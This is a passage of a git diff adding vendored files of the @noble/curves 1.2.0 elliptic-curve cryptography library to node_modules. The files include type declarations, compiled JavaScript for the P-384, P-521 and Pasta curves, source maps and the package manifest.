import("./abstract/weierstrass.js").ProjConstructor; + Signature: import("./abstract/weierstrass.js").SignatureConstructor; + utils: { + normPrivateKeyToScalar: (key: import("./abstract/utils.js").PrivKey) => bigint; + isValidPrivateKey(privateKey: import("./abstract/utils.js").PrivKey): boolean; + randomPrivateKey: () => Uint8Array; + precompute: (windowSize?: number | undefined, point?: import("./abstract/weierstrass.js").ProjPointType | undefined) => import("./abstract/weierstrass.js").ProjPointType; + }; +}>; +export declare const hashToCurve: (msg: Uint8Array, options?: import("./abstract/hash-to-curve.js").htfBasicOpts | undefined) => import("./abstract/hash-to-curve.js").H2CPoint; +export declare const encodeToCurve: (msg: Uint8Array, options?: import("./abstract/hash-to-curve.js").htfBasicOpts | undefined) => import("./abstract/hash-to-curve.js").H2CPoint; +//# sourceMappingURL=p384.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/p384.d.ts.map b/node_modules/@noble/curves/p384.d.ts.map new file mode 100644 index 000000000000..547746d3f8f7 --- /dev/null +++ b/node_modules/@noble/curves/p384.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"p384.d.ts","sourceRoot":"","sources":["src/p384.ts"],"names":[],"mappings":"AAmBA,eAAO,MAAM,IAAI;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;EAWE,CAAC;AACpB,eAAO,MAAM,SAAS;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;EAAO,CAAC;AAmB9B,eAAO,MAAM,WAAW,uJAA4C,CAAC;AACrE,eAAO,MAAM,aAAa,uJAA8C,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/p384.js b/node_modules/@noble/curves/p384.js new file mode 100644 index 000000000000..d3a472bd226d --- /dev/null +++ b/node_modules/@noble/curves/p384.js @@ -0,0 +1,49 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.encodeToCurve = exports.hashToCurve = exports.secp384r1 = exports.p384 = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +const _shortw_utils_js_1 = require("./_shortw_utils.js"); +const sha512_1 = require("@noble/hashes/sha512"); +const modular_js_1 = require("./abstract/modular.js"); +const weierstrass_js_1 = require("./abstract/weierstrass.js"); +const hash_to_curve_js_1 = require("./abstract/hash-to-curve.js"); +// NIST secp384r1 aka p384 +// https://www.secg.org/sec2-v2.pdf, https://neuromancer.sk/std/nist/P-384 +// Field over which we'll do calculations. +// prettier-ignore +const P = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffeffffffff0000000000000000ffffffff'); +const Fp = (0, modular_js_1.Field)(P); +const CURVE_A = Fp.create(BigInt('-3')); +// prettier-ignore +const CURVE_B = BigInt('0xb3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f5013875ac656398d8a2ed19d2a85c8edd3ec2aef'); +// prettier-ignore +exports.p384 = (0, _shortw_utils_js_1.createCurve)({ + a: CURVE_A, + b: CURVE_B, + Fp, + // Curve order, total count of valid points in the field. + n: BigInt('0xffffffffffffffffffffffffffffffffffffffffffffffffc7634d81f4372ddf581a0db248b0a77aecec196accc52973'), + // Base (generator) point (x, y) + Gx: BigInt('0xaa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b9859f741e082542a385502f25dbf55296c3a545e3872760ab7'), + Gy: BigInt('0x3617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5f'), + h: BigInt(1), + lowS: false, +}, sha512_1.sha384); +exports.secp384r1 = exports.p384; +const mapSWU = /* @__PURE__ */ (() => (0, weierstrass_js_1.mapToCurveSimpleSWU)(Fp, { + A: CURVE_A, + B: CURVE_B, + Z: Fp.create(BigInt('-12')), +}))(); +const htf = /* @__PURE__ */ (() => (0, hash_to_curve_js_1.createHasher)(exports.secp384r1.ProjectivePoint, (scalars) => mapSWU(scalars[0]), { + DST: 'P384_XMD:SHA-384_SSWU_RO_', + encodeDST: 'P384_XMD:SHA-384_SSWU_NU_', + p: Fp.ORDER, + m: 1, + k: 192, + expand: 'xmd', + hash: sha512_1.sha384, +}))(); +exports.hashToCurve = (() => htf.hashToCurve)(); +exports.encodeToCurve = (() => htf.encodeToCurve)(); +//# sourceMappingURL=p384.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/p384.js.map b/node_modules/@noble/curves/p384.js.map new file mode 100644 index 000000000000..6816f0d22462 --- /dev/null +++ b/node_modules/@noble/curves/p384.js.map @@ -0,0 +1 @@ +{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,EAAE,CAAC,OAAiB,EAAE,EAAE,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,EAAE;IACjF,GAAG,EAAE,2BAA2B;IAChC,SAAS,EAAE,2BAA2B;IACtC,CAAC,EAAE,EAAE,CAAC,KAAK;IACX,CAAC,EAAE,CAAC;IACJ,CAAC,EAAE,GAAG;IACN,MAAM,EAAE,KAAK;IACb,IAAI,EAAE,eAAM;CACb,CAAC,CAAC,EAAE,CAAC;AACK,QAAA,WAAW,GAAmB,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,WAAW,CAAC,EAAE,CAAC;AACxD,QAAA,aAAa,GAAmB,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,aAAa,CAAC,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/p521.d.ts b/node_modules/@noble/curves/p521.d.ts new file mode 100644 index 000000000000..47cca46647a0 --- /dev/null +++ b/node_modules/@noble/curves/p521.d.ts @@ -0,0 +1,105 @@ +export declare const p521: Readonly<{ + create: (hash: import("./abstract/utils.js").CHash) => import("./abstract/weierstrass.js").CurveFn; + CURVE: Readonly<{ + readonly nBitLength: number; + readonly nByteLength: number; + readonly Fp: import("./abstract/modular.js").IField; + readonly n: bigint; + readonly h: bigint; + readonly hEff?: bigint | undefined; + readonly Gx: bigint; + readonly Gy: bigint; + readonly allowInfinityPoint?: boolean | undefined; + readonly a: bigint; + readonly b: bigint; + readonly allowedPrivateKeyLengths?: readonly number[] | undefined; + readonly wrapPrivateKey?: boolean | undefined; + readonly endo?: { + beta: bigint; + splitScalar: (k: bigint) => { + k1neg: boolean; + k1: bigint; + k2neg: boolean; + k2: bigint; + }; + } | undefined; + readonly isTorsionFree?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => boolean) | undefined; + readonly clearCofactor?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => import("./abstract/weierstrass.js").ProjPointType) | undefined; + readonly hash: import("./abstract/utils.js").CHash; + readonly hmac: (key: Uint8Array, ...messages: Uint8Array[]) => Uint8Array; + readonly randomBytes: (bytesLength?: number | undefined) => Uint8Array; + lowS: boolean; + readonly bits2int?: ((bytes: Uint8Array) => bigint) | undefined; + readonly bits2int_modN?: ((bytes: Uint8Array) => bigint) | undefined; + readonly p: bigint; + }>; + getPublicKey: (privateKey: import("./abstract/utils.js").PrivKey, isCompressed?: boolean | undefined) => Uint8Array; + getSharedSecret: (privateA: import("./abstract/utils.js").PrivKey, publicB: import("./abstract/utils.js").Hex, isCompressed?: boolean | undefined) => Uint8Array; + sign: (msgHash: import("./abstract/utils.js").Hex, privKey: import("./abstract/utils.js").PrivKey, opts?: import("./abstract/weierstrass.js").SignOpts | undefined) => import("./abstract/weierstrass.js").RecoveredSignatureType; + verify: (signature: import("./abstract/utils.js").Hex | { + r: bigint; + s: bigint; + }, msgHash: import("./abstract/utils.js").Hex, publicKey: import("./abstract/utils.js").Hex, opts?: import("./abstract/weierstrass.js").VerOpts | undefined) => boolean; + ProjectivePoint: import("./abstract/weierstrass.js").ProjConstructor; + Signature: import("./abstract/weierstrass.js").SignatureConstructor; + utils: { + normPrivateKeyToScalar: (key: import("./abstract/utils.js").PrivKey) => bigint; + isValidPrivateKey(privateKey: import("./abstract/utils.js").PrivKey): boolean; + randomPrivateKey: () => Uint8Array; + precompute: (windowSize?: number | undefined, point?: import("./abstract/weierstrass.js").ProjPointType | undefined) => import("./abstract/weierstrass.js").ProjPointType; + }; +}>; +export declare const secp521r1: Readonly<{ + create: (hash: import("./abstract/utils.js").CHash) => import("./abstract/weierstrass.js").CurveFn; + CURVE: Readonly<{ + readonly nBitLength: number; + readonly nByteLength: number; + readonly Fp: import("./abstract/modular.js").IField; + readonly n: bigint; + readonly h: bigint; + readonly hEff?: bigint | undefined; + readonly Gx: bigint; + readonly Gy: bigint; + readonly allowInfinityPoint?: boolean | undefined; + readonly a: bigint; + readonly b: bigint; + readonly allowedPrivateKeyLengths?: readonly number[] | undefined; + readonly wrapPrivateKey?: boolean | undefined; + readonly endo?: { + beta: bigint; + splitScalar: (k: bigint) => { + k1neg: boolean; + k1: bigint; + k2neg: boolean; + k2: bigint; + }; + } | undefined; + readonly isTorsionFree?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => boolean) | undefined; + readonly clearCofactor?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: import("./abstract/weierstrass.js").ProjPointType) => import("./abstract/weierstrass.js").ProjPointType) | undefined; + readonly hash: import("./abstract/utils.js").CHash; + readonly hmac: (key: Uint8Array, ...messages: Uint8Array[]) => Uint8Array; + readonly randomBytes: (bytesLength?: number | undefined) => Uint8Array; + lowS: boolean; + readonly bits2int?: ((bytes: Uint8Array) => bigint) | undefined; + readonly bits2int_modN?: ((bytes: Uint8Array) => bigint) | undefined; + readonly p: bigint; + }>; + getPublicKey: (privateKey: import("./abstract/utils.js").PrivKey, isCompressed?: boolean | undefined) => Uint8Array; + getSharedSecret: (privateA: import("./abstract/utils.js").PrivKey, publicB: import("./abstract/utils.js").Hex, isCompressed?: boolean | undefined) => Uint8Array; + sign: (msgHash: import("./abstract/utils.js").Hex, privKey: import("./abstract/utils.js").PrivKey, opts?: import("./abstract/weierstrass.js").SignOpts | undefined) => import("./abstract/weierstrass.js").RecoveredSignatureType; + verify: (signature: import("./abstract/utils.js").Hex | { + r: bigint; + s: bigint; + }, msgHash: import("./abstract/utils.js").Hex, publicKey: import("./abstract/utils.js").Hex, opts?: import("./abstract/weierstrass.js").VerOpts | undefined) => boolean; + ProjectivePoint: import("./abstract/weierstrass.js").ProjConstructor; + Signature: import("./abstract/weierstrass.js").SignatureConstructor; + utils: { + normPrivateKeyToScalar: (key: import("./abstract/utils.js").PrivKey) => bigint; + isValidPrivateKey(privateKey: import("./abstract/utils.js").PrivKey): boolean; + randomPrivateKey: () => Uint8Array; + precompute: (windowSize?: number | undefined, point?: import("./abstract/weierstrass.js").ProjPointType | undefined) => import("./abstract/weierstrass.js").ProjPointType; + }; +}>; +export declare const hashToCurve: (msg: Uint8Array, options?: import("./abstract/hash-to-curve.js").htfBasicOpts | undefined) => import("./abstract/hash-to-curve.js").H2CPoint; +export declare const encodeToCurve: (msg: Uint8Array, options?: import("./abstract/hash-to-curve.js").htfBasicOpts | undefined) => import("./abstract/hash-to-curve.js").H2CPoint; +//# sourceMappingURL=p521.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/p521.d.ts.map b/node_modules/@noble/curves/p521.d.ts.map new file mode 100644 index 000000000000..1c3cdaa2e581 --- /dev/null +++ b/node_modules/@noble/curves/p521.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"p521.d.ts","sourceRoot":"","sources":["src/p521.ts"],"names":[],"mappings":"AAmCA,eAAO,MAAM,IAAI;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;EAWE,CAAC;AACpB,eAAO,MAAM,SAAS;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;EAAO,CAAC;AAmB9B,eAAO,MAAM,WAAW,uJAA4C,CAAC;AACrE,eAAO,MAAM,aAAa,uJAA8C,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/p521.js b/node_modules/@noble/curves/p521.js new file mode 100644 index 000000000000..c1c0e22afda4 --- /dev/null +++ b/node_modules/@noble/curves/p521.js @@ -0,0 +1,56 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.encodeToCurve = exports.hashToCurve = exports.secp521r1 = exports.p521 = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +const _shortw_utils_js_1 = require("./_shortw_utils.js"); +const sha512_1 = require("@noble/hashes/sha512"); +const modular_js_1 = require("./abstract/modular.js"); +const weierstrass_js_1 = require("./abstract/weierstrass.js"); +const hash_to_curve_js_1 = require("./abstract/hash-to-curve.js"); +// NIST secp521r1 aka p521 +// Note that it's 521, which differs from 512 of its hash function. +// https://www.secg.org/sec2-v2.pdf, https://neuromancer.sk/std/nist/P-521 +// Field over which we'll do calculations. +// prettier-ignore +const P = BigInt('0x1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'); +const Fp = (0, modular_js_1.Field)(P); +const CURVE = { + a: Fp.create(BigInt('-3')), + b: BigInt('0x0051953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f00'), + Fp, + n: BigInt('0x01fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa51868783bf2f966b7fcc0148f709a5d03bb5c9b8899c47aebb6fb71e91386409'), + Gx: BigInt('0x00c6858e06b70404e9cd9e3ecb662395b4429c648139053fb521f828af606b4d3dbaa14b5e77efe75928fe1dc127a2ffa8de3348b3c1856a429bf97e7e31c2e5bd66'), + Gy: BigInt('0x011839296a789a3bc0045c8a5fb42c7d1bd998f54449579b446817afbd17273e662c97ee72995ef42640c550b9013fad0761353c7086a272c24088be94769fd16650'), + h: BigInt(1), +}; +// prettier-ignore +exports.p521 = (0, _shortw_utils_js_1.createCurve)({ + a: CURVE.a, + b: CURVE.b, + Fp, + // Curve order, total count of valid points in the field + n: CURVE.n, + Gx: CURVE.Gx, + Gy: CURVE.Gy, + h: CURVE.h, + lowS: false, + allowedPrivateKeyLengths: [130, 131, 132] // P521 keys are variable-length. Normalize to 132b +}, sha512_1.sha512); +exports.secp521r1 = exports.p521; +const mapSWU = /* @__PURE__ */ (() => (0, weierstrass_js_1.mapToCurveSimpleSWU)(Fp, { + A: CURVE.a, + B: CURVE.b, + Z: Fp.create(BigInt('-4')), +}))(); +const htf = /* @__PURE__ */ (() => (0, hash_to_curve_js_1.createHasher)(exports.secp521r1.ProjectivePoint, (scalars) => mapSWU(scalars[0]), { + DST: 'P521_XMD:SHA-512_SSWU_RO_', + encodeDST: 'P521_XMD:SHA-512_SSWU_NU_', + p: Fp.ORDER, + m: 1, + k: 256, + expand: 'xmd', + hash: sha512_1.sha512, +}))(); +exports.hashToCurve = (() => htf.hashToCurve)(); +exports.encodeToCurve = (() => htf.encodeToCurve)(); +//# sourceMappingURL=p521.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/p521.js.map b/node_modules/@noble/curves/p521.js.map new file mode 100644 index 000000000000..f79e5f0fbc4c --- /dev/null +++ b/node_modules/@noble/curves/p521.js.map @@ -0,0 +1 @@ +{"version":3,"file":"p521.js","sourceRoot":"","sources":["src/p521.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,yDAAiD;AACjD,iDAA8C;AAC9C,sDAA8C;AAC9C,8DAAgE;AAChE,kEAA2D;AAE3D,0BAA0B;AAC1B,mEAAmE;AACnE,0EAA0E;AAE1E,0CAA0C;AAC1C,kBAAkB;AAClB,MAAM,CAAC,GAAG,MAAM,CAAC,uIAAuI,CAAC,CAAC;AAC1J,MAAM,EAAE,GAAG,IAAA,kBAAK,EAAC,CAAC,CAAC,CAAC;AAEpB,MAAM,KAAK,GAAG;IACZ,CAAC,EAAE,EAAE,CAAC,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC;IAC1B,CAAC,EAAE,MAAM,CACP,wIAAwI,CACzI;IACD,EAAE;IACF,CAAC,EAAE,MAAM,CACP,wIAAwI,CACzI;IACD,EAAE,EAAE,MAAM,CACR,wIAAwI,CACzI;IACD,EAAE,EAAE,MAAM,CACR,wIAAwI,CACzI;IACD,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;CACb,CAAC;AAEF,kBAAkB;AACL,QAAA,IAAI,GAAG,IAAA,8BAAW,EAAC;IAC9B,CAAC,EAAE,KAAK,CAAC,CAAC;IACV,CAAC,EAAE,KAAK,CAAC,CAAC;IACV,EAAE;IACF,wDAAwD;IACxD,CAAC,EAAE,KAAK,CAAC,CAAC;IACV,EAAE,EAAE,KAAK,CAAC,EAAE;IACZ,EAAE,EAAE,KAAK,CAAC,EAAE;IACZ,CAAC,EAAE,KAAK,CAAC,CAAC;IACV,IAAI,EAAE,KAAK;IACX,wBAAwB,EAAE,CAAC,GAAG,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC,mDAAmD;CACrF,EAAE,eAAM,CAAC,CAAC;AACP,QAAA,SAAS,GAAG,YAAI,CAAC;AAE9B,MAAM,MAAM,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE,CACnC,IAAA,oCAAmB,EAAC,EAAE,EAAE;IACtB,CAAC,EAAE,KAAK,CAAC,CAAC;IACV,CAAC,EAAE,KAAK,CAAC,CAAC;IACV,CAAC,EAAE,EAAE,CAAC,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC;CAC3B,CAAC,CAAC,EAAE,CAAC;AAER,MAAM,GAAG,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE,CAChC,IAAA,+BAAY,EAAC,iBAAS,CAAC,eAAe,EAAE,CAAC,OAAiB,EAAE,EAAE,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,EAAE;IACjF,GAAG,EAAE,2BAA2B;IAChC,SAAS,EAAE,2BAA2B;IACtC,CAAC,EAAE,EAAE,CAAC,KAAK;IACX,CAAC,EAAE,CAAC;IACJ,CAAC,EAAE,GAAG;IACN,MAAM,EAAE,KAAK;IACb,IAAI,EAAE,eAAM;CACb,CAAC,CAAC,EAAE,CAAC;AACK,QAAA,WAAW,GAAmB,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,WAAW,CAAC,EAAE,CAAC;AACxD,QAAA,aAAa,GAAmB,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,aAAa,CAAC,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/package.json b/node_modules/@noble/curves/package.json new file mode 100644 index 000000000000..38cf3da730f4 --- /dev/null +++ b/node_modules/@noble/curves/package.json @@ -0,0 +1,181 @@ +{ + "name": "@noble/curves", + "version": "1.2.0", + "description": "Audited & minimal JS implementation of elliptic curve cryptography", + "files": [ + "abstract", + "esm", + "src", + "*.js", + "*.js.map", + "*.d.ts", + "*.d.ts.map" + ], + "scripts": { + "bench": "cd benchmark; node secp256k1.js; node curves.js; node ecdh.js; node hash-to-curve.js; node modular.js; node bls.js; node ristretto255.js; node decaf448.js", + "build": "tsc && tsc -p tsconfig.esm.json", + "build:release": "rollup -c rollup.config.js", + "build:clean": "rm *.{js,d.ts,d.ts.map,js.map} esm/*.{js,d.ts,d.ts.map,js.map} 2> /dev/null", + "lint": "prettier --check 'src/**/*.{js,ts}' 'test/*.js'", + "format": "prettier --write 'src/**/*.{js,ts}' 'test/*.js'", + "test": "node test/index.test.js" + }, + "author": "Paul Miller (https://paulmillr.com)", + "homepage": "https://paulmillr.com/noble/", + "repository": { + "type": "git", + "url": "https://github.com/paulmillr/noble-curves.git" + }, + "license": "MIT", + "dependencies": { + "@noble/hashes": "1.3.2" + }, + "devDependencies": { + "fast-check": "3.0.0", + "micro-bmark": "0.3.1", + "micro-should": "0.4.0", + "prettier": "2.8.4", + "typescript": "5.0.2" + }, + "sideEffects": false, + "main": "index.js", + "exports": { + ".": { + "types": "./index.d.ts", + "import": "./esm/index.js", + "default": "./index.js" + }, + "./abstract/edwards": { + "types": "./abstract/edwards.d.ts", + "import": "./esm/abstract/edwards.js", + "default": "./abstract/edwards.js" + }, + "./abstract/modular": { + "types": "./abstract/modular.d.ts", + "import": "./esm/abstract/modular.js", + "default": "./abstract/modular.js" + }, + "./abstract/montgomery": { + "types": "./abstract/montgomery.d.ts", + "import": "./esm/abstract/montgomery.js", + "default": "./abstract/montgomery.js" + }, + "./abstract/weierstrass": { + "types": "./abstract/weierstrass.d.ts", + "import": "./esm/abstract/weierstrass.js", + "default": "./abstract/weierstrass.js" + }, + "./abstract/bls": { + "types": "./abstract/bls.d.ts", + "import": "./esm/abstract/bls.js", + "default": "./abstract/bls.js" + }, + "./abstract/hash-to-curve": { + "types": "./abstract/hash-to-curve.d.ts", + "import": "./esm/abstract/hash-to-curve.js", + "default": "./abstract/hash-to-curve.js" + }, + "./abstract/curve": { + "types": "./abstract/curve.d.ts", + "import": "./esm/abstract/curve.js", + "default": "./abstract/curve.js" + }, + "./abstract/utils": { + "types": "./abstract/utils.d.ts", + "import": "./esm/abstract/utils.js", + "default": "./abstract/utils.js" + }, + "./abstract/poseidon": { + "types": "./abstract/poseidon.d.ts", + "import": "./esm/abstract/poseidon.js", + "default": "./abstract/poseidon.js" + }, + "./_shortw_utils": { + "types": "./_shortw_utils.d.ts", + "import": "./esm/_shortw_utils.js", + "default": "./_shortw_utils.js" + }, + "./bls12-381": { + "types": "./bls12-381.d.ts", + "import": "./esm/bls12-381.js", + "default": "./bls12-381.js" + }, + "./bn254": { + "types": "./bn254.d.ts", + "import": "./esm/bn254.js", + "default": "./bn254.js" + }, + "./ed25519": { + "types": "./ed25519.d.ts", + "import": "./esm/ed25519.js", + "default": "./ed25519.js" + }, + "./ed448": { + "types": "./ed448.d.ts", + "import": "./esm/ed448.js", + "default": "./ed448.js" + }, + "./index": { + "types": "./index.d.ts", + "import": "./esm/index.js", + "default": "./index.js" + }, + "./jubjub": { + "types": "./jubjub.d.ts", + "import": "./esm/jubjub.js", + "default": "./jubjub.js" + }, + "./p256": { + "types": "./p256.d.ts", + "import": "./esm/p256.js", + "default": "./p256.js" + }, + "./p384": { + "types": "./p384.d.ts", + "import": "./esm/p384.js", + "default": "./p384.js" + }, + "./p521": { + "types": "./p521.d.ts", + "import": "./esm/p521.js", + "default": "./p521.js" + }, + "./pasta": { + "types": "./pasta.d.ts", + "import": "./esm/pasta.js", + "default": "./pasta.js" + }, + "./secp256k1": { + "types": "./secp256k1.d.ts", + "import": "./esm/secp256k1.js", + "default": "./secp256k1.js" + } + }, + "keywords": [ + "elliptic", + "curve", + "cryptography", + "weierstrass", + "montgomery", + "edwards", + "p256", + "p384", + "p521", + "secp256r1", + "secp256k1", + "ed25519", + "ed448", + "x25519", + "ed25519", + "bls12-381", + "bn254", + "pasta", + "bls", + "noble", + "ecc", + "ecdsa", + "eddsa", + "schnorr" + ], + "funding": "https://paulmillr.com/funding/" +} \ No newline at end of file diff --git a/node_modules/@noble/curves/pasta.d.ts b/node_modules/@noble/curves/pasta.d.ts new file mode 100644 index 000000000000..9e1f4ed468ba --- /dev/null +++ b/node_modules/@noble/curves/pasta.d.ts @@ -0,0 +1,5 @@ +export declare const p: bigint; +export declare const q: bigint; +export declare const pallas: import("./abstract/weierstrass.js").CurveFn; +export declare const vesta: import("./abstract/weierstrass.js").CurveFn; +//# sourceMappingURL=pasta.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/pasta.d.ts.map b/node_modules/@noble/curves/pasta.d.ts.map new file mode 100644 index 000000000000..d4e6dd52d117 --- /dev/null +++ b/node_modules/@noble/curves/pasta.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"pasta.d.ts","sourceRoot":"","sources":["src/pasta.ts"],"names":[],"mappings":"AAMA,eAAO,MAAM,CAAC,QAA+E,CAAC;AAC9F,eAAO,MAAM,CAAC,QAA+E,CAAC;AAG9F,eAAO,MAAM,MAAM,6CASjB,CAAC;AAEH,eAAO,MAAM,KAAK,6CAShB,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/pasta.js b/node_modules/@noble/curves/pasta.js new file mode 100644 index 000000000000..c3bee21d089f --- /dev/null +++ b/node_modules/@noble/curves/pasta.js @@ -0,0 +1,33 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.vesta = exports.pallas = exports.q = exports.p = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +const sha256_1 = require("@noble/hashes/sha256"); +const weierstrass_js_1 = require("./abstract/weierstrass.js"); +const _shortw_utils_js_1 = require("./_shortw_utils.js"); +const mod = require("./abstract/modular.js"); +exports.p = BigInt('0x40000000000000000000000000000000224698fc094cf91b992d30ed00000001'); +exports.q = BigInt('0x40000000000000000000000000000000224698fc0994a8dd8c46eb2100000001'); +// https://neuromancer.sk/std/other/Pallas +exports.pallas = (0, weierstrass_js_1.weierstrass)({ + a: BigInt(0), + b: BigInt(5), + Fp: mod.Field(exports.p), + n: exports.q, + Gx: mod.mod(BigInt(-1), exports.p), + Gy: BigInt(2), + h: BigInt(1), + ...(0, _shortw_utils_js_1.getHash)(sha256_1.sha256), +}); +// https://neuromancer.sk/std/other/Vesta +exports.vesta = (0, weierstrass_js_1.weierstrass)({ + a: BigInt(0), + b: BigInt(5), + Fp: mod.Field(exports.q), + n: exports.p, + Gx: mod.mod(BigInt(-1), exports.q), + Gy: BigInt(2), + h: BigInt(1), + ...(0, _shortw_utils_js_1.getHash)(sha256_1.sha256), +}); +//# sourceMappingURL=pasta.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/pasta.js.map b/node_modules/@noble/curves/pasta.js.map new file mode 100644 index 000000000000..5ea530cc3138 --- /dev/null +++ b/node_modules/@noble/curves/pasta.js.map @@ -0,0 +1 @@ +{"version":3,"file":"pasta.js","sourceRoot":"","sources":["src/pasta.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,iDAA8C;AAC9C,8DAAwD;AACxD,yDAA6C;AAC7C,6CAA6C;AAEhC,QAAA,CAAC,GAAG,MAAM,CAAC,oEAAoE,CAAC,CAAC;AACjF,QAAA,CAAC,GAAG,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAE9F,0CAA0C;AAC7B,QAAA,MAAM,GAAG,IAAA,4BAAW,EAAC;IAChC,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,EAAE,EAAE,GAAG,CAAC,KAAK,CAAC,SAAC,CAAC;IAChB,CAAC,EAAE,SAAC;IACJ,EAAE,EAAE,GAAG,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,EAAE,SAAC,CAAC;IAC1B,EAAE,EAAE,MAAM,CAAC,CAAC,CAAC;IACb,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,GAAG,IAAA,0BAAO,EAAC,eAAM,CAAC;CACnB,CAAC,CAAC;AACH,yCAAyC;AAC5B,QAAA,KAAK,GAAG,IAAA,4BAAW,EAAC;IAC/B,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,EAAE,EAAE,GAAG,CAAC,KAAK,CAAC,SAAC,CAAC;IAChB,CAAC,EAAE,SAAC;IACJ,EAAE,EAAE,GAAG,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,EAAE,SAAC,CAAC;IAC1B,EAAE,EAAE,MAAM,CAAC,CAAC,CAAC;IACb,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,GAAG,IAAA,0BAAO,EAAC,eAAM,CAAC;CACnB,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/secp256k1.d.ts b/node_modules/@noble/curves/secp256k1.d.ts new file mode 100644 index 000000000000..b94df777832b --- /dev/null +++ b/node_modules/@noble/curves/secp256k1.d.ts @@ -0,0 +1,93 @@ +import { mod } from './abstract/modular.js'; +import { ProjPointType as PointType } from './abstract/weierstrass.js'; +import type { Hex, PrivKey } from './abstract/utils.js'; +import { bytesToNumberBE, numberToBytesBE } from './abstract/utils.js'; +export declare const secp256k1: Readonly<{ + create: (hash: import("./abstract/utils.js").CHash) => import("./abstract/weierstrass.js").CurveFn; + CURVE: Readonly<{ + readonly nBitLength: number; + readonly nByteLength: number; + readonly Fp: import("./abstract/modular.js").IField; + readonly n: bigint; + readonly h: bigint; + readonly hEff?: bigint | undefined; + readonly Gx: bigint; + readonly Gy: bigint; + readonly allowInfinityPoint?: boolean | undefined; + readonly a: bigint; + readonly b: bigint; + readonly allowedPrivateKeyLengths?: readonly number[] | undefined; + readonly wrapPrivateKey?: boolean | undefined; + readonly endo?: { + beta: bigint; + splitScalar: (k: bigint) => { + k1neg: boolean; + k1: bigint; + k2neg: boolean; + k2: bigint; + }; + } | undefined; + readonly isTorsionFree?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: PointType) => boolean) | undefined; + readonly clearCofactor?: ((c: import("./abstract/weierstrass.js").ProjConstructor, point: PointType) => PointType) | undefined; + readonly hash: import("./abstract/utils.js").CHash; + readonly hmac: (key: Uint8Array, ...messages: Uint8Array[]) => Uint8Array; + readonly randomBytes: (bytesLength?: number | undefined) => Uint8Array; + lowS: boolean; + readonly bits2int?: ((bytes: Uint8Array) => bigint) | undefined; + readonly bits2int_modN?: ((bytes: Uint8Array) => bigint) | undefined; + readonly p: bigint; + }>; + getPublicKey: (privateKey: PrivKey, isCompressed?: boolean | undefined) => Uint8Array; + getSharedSecret: (privateA: PrivKey, publicB: 